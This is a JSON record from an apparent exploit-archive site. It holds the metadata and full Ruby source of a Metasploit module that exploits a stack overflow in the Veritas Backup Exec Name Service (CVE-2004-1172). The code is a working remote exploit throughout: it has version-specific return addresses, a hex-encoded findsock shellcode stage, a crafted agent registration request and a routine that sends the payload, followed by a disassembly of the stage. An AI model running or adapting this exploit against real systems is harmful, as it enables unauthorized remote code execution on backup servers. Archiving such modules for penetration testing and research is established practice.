{"exploit":{"id":"EDB-16331","name":"Veritas Backup Exec Name Service - Remote Overflow (Metasploit)","description":"Veritas Backup Exec Name Service - Remote Overflow (Metasploit)","cves":["CVE-2004-1172"],"author":"Metasploit","published":"2010-06-22","platform":"windows","type":"remote","language":"Ruby","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/16331","path":"exploits/windows/remote/16331.rb","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-16331.rb","vulnerabilities":[{"id":"CVE-2004-1172","state":"PUBLISHED","title":null,"titleSource":null,"description":"Stack-based buffer overflow in the Agent Browser in Veritas Backup Exec 8.x before 8.60.3878 Hotfix 68, and 9.x before 9.1.4691 Hotfix 40, allows remote attackers to execute arbitrary code via a registration request with a long hostname.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2004-1172","cvss":{"version":"2.0","baseScore":10,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2004-1172"},"updatedAt":"2024-08-08T00:39:01.126Z","retrievedAt":"2026-11-26T12:31:06.351Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-16331.png?v=2","url":"https://exploitbin.com/exploits/EDB-16331","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-16331/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-16331/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"##\n# $Id: name_service.rb 9583 2010-06-22 19:11:05Z todb $\n##\n\n##\n# This file is part of the Metasploit Framework and may be subject to\n# redistribution and commercial restrictions. Please see the Metasploit\n# Framework web site for more information on licensing and terms of use.\n# http://metasploit.com/framework/\n##\n\nrequire 'msf/core'\n\nclass Metasploit3 < Msf::Exploit::Remote\n\tRank = AverageRanking\n\n\tinclude Msf::Exploit::Remote::Tcp\n\n\tdef initialize(info = {})\n\t\tsuper(update_info(info,\n\t\t\t'Name'           => 'Veritas Backup Exec Name Service Overflow',\n\t\t\t'Description'    => %q{\n\t\t\t\t\tThis module exploits a vulnerability in the Veritas Backup\n\t\t\t\tExec Agent Browser service. This vulnerability occurs when a\n\t\t\t\trecv() call has a length value too long for the\tdestination\n\t\t\t\tstack buffer. By sending an agent name value of 63 bytes or\n\t\t\t\tmore, we can overwrite the return address of the recv\n\t\t\t\tfunction. Since we only have ~60 bytes of contiguous space\n\t\t\t\tfor shellcode, a tiny findsock payload is sent which uses a\n\t\t\t\thardcoded IAT address for the recv() function. This payload\n\t\t\t\twill then roll the stack back to the beginning of the page,\n\t\t\t\trecv() the real shellcode into it, and jump to it. This\n\t\t\t\tmodule has been tested against Veritas 9.1 SP0, 9.1 SP1, and\n\t\t\t\t8.6.\n\t\t\t},\n\t\t\t'Author'         => [ 'hdm' ],\n\t\t\t'License'        => MSF_LICENSE,\n\t\t\t'Version'        => '$Revision: 9583 $',\n\t\t\t'References'     =>\n\t\t\t\t[\n\t\t\t\t\t[ 'CVE', '2004-1172'],\n\t\t\t\t\t[ 'OSVDB', '12418'],\n\t\t\t\t\t[ 'BID', '11974'],\n\t\t\t\t\t[ 'URL', 'http://www.idefense.com/application/poi/display?id=169&type=vulnerabilities'],\n\t\t\t\t],\n\t\t\t'Privileged'     => true,\n\t\t\t'Payload'        =>\n\t\t\t\t{\n\t\t\t\t\t'Space'    => 1024,\n\t\t\t\t\t'MinNops'  => 512,\n\t\t\t\t\t'MinNops'  => 512,\n\t\t\t\t\t'StackAdjustment' => -3500,\n\t\t\t\t},\n\t\t\t'Targets'        =>\n\t\t\t\t[\n\t\t\t\t\t[\n\t\t\t\t\t\t'Veritas BE 9.1 SP0/SP1', # BackupExec 9.1 SP0/SP1 return contributed by class101\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t'Platform' => 'win',\n\t\t\t\t\t\t\t'Rets'     => [ 0x0142ffa1, 0x401150FF ], # recv@bnetns.exe v9.1.4691.0 | esi@bnetns.exe\n\t\t\t\t\t\t},\n\t\t\t\t\t],\n\t\t\t\t\t[\n\t\t\t\t\t\t'Veritas BE 8.5',\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t'Platform' => 'win',\n\t\t\t\t\t\t\t'Rets'     => [ 0x014308b9, 0x401138FF ], # recv@bnetns.exe v8.50.3572 | esi@beclass.dll v8.50.3572\n\t\t\t\t\t\t},\n\t\t\t\t\t],\n\t\t\t\t],\n\t\t\t'DisclosureDate' => 'Dec 16 2004',\n\t\t\t'DefaultTarget' => 0))\n\n\t\tregister_options(\n\t\t\t[\n\t\t\t\tOpt::RPORT(6101)\n\t\t\t], self.class)\n\tend\n\n\tdef exploit\n\t\tconnect\n\n\t\tprint_status(\"Trying target #{target.name}...\")\n\n\t\t# This will findsock/read the real shellcode (51 bytes, harcoded IAT for recv)\n\t\t# The IAT for recv() is for bnetns, the address is shifted by 8 bits to avoid\n\t\t# nulls: [0x00401150 -> 0x401150FF]\n\t\tstage_code = \"\\xfc\" * 112\n\t\tstage_read =\n\t\t\t\"\\x31\\xf6\\xc1\\xec\\x0c\\xc1\\xe4\\x0c\\x89\\xe7\\x89\\xfb\\x6a\\x01\\x8b\\x74\"+\n\t\t\t\"\\x24\\xfe\\x31\\xd2\\x52\\x42\\xc1\\xe2\\x10\\x52\\x57\\x56\\xb8\\xff\\x50\\x11\"+\n\t\t\t\"\\x40\\xc1\\xe8\\x08\\xff\\x10\\x85\\xc0\\x79\\x07\\x89\\xdc\\x4e\\x85\\xf6\\x75\"\n\n\t\t# Configure the IAT for the recv call\n\t\tstage_read[29, 4] = [ target['Rets'][1] ].pack('V')\n\n\t\t# Stuff it all into one request\n\t\tstage_code[2, stage_read.length] = stage_read\n\n\t\t# Create the registration request\n\t\treq =\n\t\t\t\"\\x02\\x00\\x32\\x00\\x20\\x00\" + stage_code + \"\\x00\"+\n\t\t\t\"1.1.1.1.1.1\\x00\" + \"\\xeb\\x81\"\n\n\t\tprint_status(\"Sending the agent registration request of #{req.length} bytes...\")\n\t\tsock.put(req)\n\n\t\tprint_status(\"Sending the payload stage down the socket...\")\n\t\tsock.put(payload.encoded)\n\n\t\tprint_status(\"Waiting for the payload to execute...\")\n\t\tselect(nil,nil,nil,2)\n\n\t\thandler\n\t\tdisconnect\n\tend\n\nend\n\n\n__END__\n[ findsock stage ]\n00000000  31F6              xor esi,esi\n00000002  C1EC0C            shr esp,0xc\n00000005  C1E40C            shl esp,0xc\n00000008  89E7              mov edi,esp\n0000000A  89FB              mov ebx,edi\n0000000C  6A01              push byte +0x1\n0000000E  8B7424FE          mov esi,[esp-0x2]\n00000012  31D2              xor edx,edx\n00000014  52                push edx\n00000015  42                inc edx\n00000016  C1E210            shl edx,0x10\n00000019  52                push edx\n0000001A  57                push edi\n0000001B  56                push esi\n0000001C  B8FF501140        mov eax,0x401150ff\n00000021  C1E808            shr eax,0x8\n00000024  FF10              call near [eax]\n00000026  85C0              test eax,eax\n00000028  7907              jns 0x31\n0000002A  89DC              mov esp,ebx\n0000002C  4E                dec esi\n0000002D  85F6              test esi,esi\n0000002F  75E1              jnz 0x12\n00000031  FFD7              call edi","sha256":"b51e2a79f3e2baf779eb9f27a3bf025a891b7f006212ee7fe55eca693676a5be","bytes":4526,"fetchedAt":"2026-11-26T13:05:12.120Z","encoding":"utf-8 (display only; download retains original bytes)"}